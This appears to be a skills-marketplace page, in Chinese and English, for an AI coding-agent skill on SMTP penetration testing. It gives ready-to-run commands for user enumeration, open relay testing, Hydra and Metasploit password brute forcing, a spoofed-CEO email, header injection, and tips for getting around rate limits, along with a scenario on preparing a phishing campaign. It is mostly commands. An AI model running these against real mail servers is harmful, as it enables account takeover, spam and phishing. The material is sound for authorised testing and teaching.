SMTP Penetration Testing by zebbern/claude-code-guide
npx skills add https://github.com/zebbern/claude-code-guide --skill 'SMTP Penetration Testing'对 SMTP(简单邮件传输协议)服务器进行全面的安全评估,以识别包括开放中继、用户枚举、弱身份验证和配置错误在内的漏洞。此技能涵盖横幅抓取、用户枚举技术、中继测试、暴力攻击和安全加固建议。
# 带 SMTP 脚本的 Nmap
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# 用于暴力破解的 Hydra
sudo apt-get install hydra
# SMTP 用户枚举工具
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
识别 SMTP 服务器和版本:
# 发现 SMTP 端口
nmap -p 25,465,587,2525 -sV TARGET_IP
# 积极的服务检测
nmap -sV -sC -p 25 TARGET_IP
# SMTP 特定脚本
nmap --script=smtp-* -p 25 TARGET_IP
# 发现域的 MX 记录
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
获取 SMTP 服务器信息:
# 使用 Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# 使用 Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# 使用 Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# 手动 SMTP 命令
EHLO test
# Response reveals supported extensions
解析横幅信息:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
测试可用的 SMTP 命令:
# 连接并测试命令
nc TARGET_IP 25
# 初始问候
EHLO attacker.com
# 响应显示功能:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
要测试的关键命令:
# VRFY - 验证用户是否存在
VRFY admin
250 2.1.5 admin@target.com
# EXPN - 扩展邮件列表
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
# RCPT TO - 收件人验证
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist
枚举有效的电子邮件地址:
# 使用 smtp-user-enum 和 VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# 使用 EXPN 方法
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# 使用 RCPT 方法
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# 指定端口和域
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
使用 Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
使用 Nmap:
# SMTP 用户枚举脚本
nmap --script smtp-enum-users -p 25 TARGET_IP
# 使用自定义用户列表
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
测试未经授权的电子邮件中继:
# 使用 Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# 通过 Telnet 手动测试
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# 如果被接受(250 OK),服务器是开放中继
使用 Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
测试变体:
# 测试不同的发件人/收件人组合
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
测试弱 SMTP 凭据:
# 使用 Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# 指定端口和 SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# 多个用户
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# 详细输出
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
使用 Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
使用 Metasploit:
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
测试命令注入漏洞:
# 标头注入测试
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header
Injected content
.
电子邮件欺骗测试:
# 伪造的发件人(测试 SPF/DKIM 保护)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.
测试加密配置:
# STARTTLS 支持检查
openssl s_client -connect TARGET_IP:25 -starttls smtp
# 直接 SSL(端口 465)
openssl s_client -connect TARGET_IP:465
# 密码套件枚举
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
检查电子邮件身份验证记录:
# SPF/DKIM/DMARC 记录查询
dig TXT target.com | grep spf # SPF
dig TXT selector._domainkey.target.com # DKIM
dig TXT _dmarc.target.com # DMARC
# SPF 策略:-all = 严格失败,~all = 软失败,?all = 中性
| 命令 | 目的 | 示例 |
|---|---|---|
| HELO | 标识客户端 | HELO client.com |
| EHLO | 扩展 HELO | EHLO client.com |
| MAIL FROM | 设置发件人 | MAIL FROM:<sender@test.com> |
| RCPT TO | 设置收件人 | RCPT TO:<user@target.com> |
| DATA | 开始消息正文 | DATA |
| VRFY | 验证用户 | VRFY admin |
| EXPN | 扩展别名 | EXPN staff |
| QUIT | 结束会话 | QUIT |
| 代码 | 含义 |
|---|---|
| 220 | 服务就绪 |
| 221 | 关闭连接 |
| 250 | 正常 / 请求的操作已完成 |
| 354 | 开始邮件输入 |
| 421 | 服务不可用 |
| 450 | 邮箱不可用 |
| 550 | 用户未知 / 邮箱未找到 |
| 553 | 邮箱名称不允许 |
| 工具 | 命令 |
|---|---|
| smtp-user-enum | smtp-user-enum -M VRFY -U users.txt -t IP |
| Nmap | nmap --script smtp-enum-users -p 25 IP |
| Metasploit | use auxiliary/scanner/smtp/smtp_enum |
| Netcat | nc IP 25 然后手动命令 |
| 漏洞 | 风险 | 测试方法 |
|---|---|---|
| 开放中继 | 高 | 使用外部收件人进行中继测试 |
| 用户枚举 | 中 | VRFY/EXPN/RCPT 命令 |
| 横幅信息泄露 | 低 | 横幅抓取 |
| 弱身份验证 | 高 | 暴力攻击 |
| 无 TLS | 中 | STARTTLS 测试 |
| 缺少 SPF/DKIM | 中 | DNS 记录查询 |
场景: 邮件服务器的全面安全评估
# 步骤 1:服务发现
nmap -sV -sC -p 25,465,587 mail.target.com
# 步骤 2:横幅抓取
nc mail.target.com 25
EHLO test.com
QUIT
# 步骤 3:用户枚举
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# 步骤 4:开放中继测试
nmap -p 25 --script smtp-open-relay mail.target.com
# 步骤 5:身份验证测试
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# 步骤 6:TLS 检查
openssl s_client -connect mail.target.com:25 -starttls smtp
# 步骤 7:检查电子邮件身份验证
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
场景: 枚举有效用户以准备网络钓鱼
# 方法 1:VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# 方法 2:带时间分析的 RCPT
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# 方法 3:Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# 结果显示有效用户
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
场景: 测试并记录开放中继漏洞
# 通过 Telnet 测试
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE
# 使用 Nmap 记录
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
# 输出:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
| 问题 | 原因 | 解决方案 |
|---|---|---|
| 连接被拒绝 | 端口被阻止或关闭 | 使用 nmap 检查端口;ISP 可能阻止端口 25;尝试 587/465;使用 VPN |
| VRFY/EXPN 已禁用 | 服务器已加固 | 使用 RCPT TO 方法;分析响应时间/代码变化 |
| 暴力破解被阻止 | 速率限制/锁定 | 减慢速度(hydra -W 5);使用密码喷洒;检查 fail2ban |
| SSL/TLS 错误 | 端口或协议错误 | 使用 465 端口进行 SSL,25/587 端口进行 STARTTLS;验证 EHLO 响应 |
每周安装次数
–
仓库
GitHub 星标数
3.7K
首次出现时间
–
安全审计
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Identify SMTP servers and versions:
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
Retrieve SMTP server information:
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
Parse banner information:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
Test available SMTP commands:
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
Key commands to test:
# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Using Nmap:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
Test for unauthorized email relay:
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
Test variations:
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
Test for weak SMTP credentials:
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Using Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Using Metasploit:
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
Test for command injection vulnerabilities:
# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header
Injected content
.
Email spoofing test:
# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.
Test encryption configuration:
# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp
# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465
# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
Check email authentication records:
# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf # SPF
dig TXT selector._domainkey.target.com # DKIM
dig TXT _dmarc.target.com # DMARC
# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
| Command | Purpose | Example |
|---|---|---|
| HELO | Identify client | HELO client.com |
| EHLO | Extended HELO | EHLO client.com |
| MAIL FROM | Set sender | MAIL FROM:<sender@test.com> |
| RCPT TO | Set recipient | RCPT TO:<user@target.com> |
| DATA | Start message body | DATA |
| Code | Meaning |
|---|---|
| 220 | Service ready |
| 221 | Closing connection |
| 250 | OK / Requested action completed |
| 354 | Start mail input |
| 421 | Service not available |
| 450 | Mailbox unavailable |
| 550 | User unknown / Mailbox not found |
| 553 | Mailbox name not allowed |
| Tool | Command |
|---|---|
| smtp-user-enum | smtp-user-enum -M VRFY -U users.txt -t IP |
| Nmap | nmap --script smtp-enum-users -p 25 IP |
| Metasploit | use auxiliary/scanner/smtp/smtp_enum |
| Netcat | nc IP 25 then manual commands |
| Vulnerability | Risk | Test Method |
|---|---|---|
| Open Relay | High | Relay test with external recipient |
| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
| Banner Disclosure | Low | Banner grabbing |
| Weak Auth | High | Brute force attack |
| No TLS | Medium | STARTTLS test |
| Missing SPF/DKIM | Medium | DNS record lookup |
Scenario: Full security assessment of mail server
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
Scenario: Enumerate valid users for phishing preparation
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
Scenario: Test and document open relay vulnerability
# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE
# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
# Output:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
| Issue | Cause | Solution |
|---|---|---|
| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
| Brute Force Blocked | Rate limiting/lockout | Slow down (hydra -W 5); use password spraying; check for fail2ban |
| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
Weekly Installs
–
Repository
GitHub Stars
3.7K
First Seen
–
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
24,700 周安装
阿里云备份与灾备中心API管理指南 - 使用OpenAPI和SDK进行资源操作
262 周安装
阿里云PAI AIWorkspace管理技能:使用OpenAPI和SDK管理AI平台资源
264 周安装
阿里云AI技能测试指南:alicloud-ai-misc-crawl-and-skill-test 最小化验证与错误排查
262 周安装
阿里云AI图像编辑测试技能 - 通义千问图像编辑最小可行测试验证
262 周安装
AI技能测试指南:TDD方法验证代理技能有效性,压力场景设计与合规验证
297 周安装
阿里云AI图像Qwen模型测试技能 - 最小可行性验证与安装指南
259 周安装
| VRFY | Verify user | VRFY admin |
| EXPN | Expand alias | EXPN staff |
| QUIT | End session | QUIT |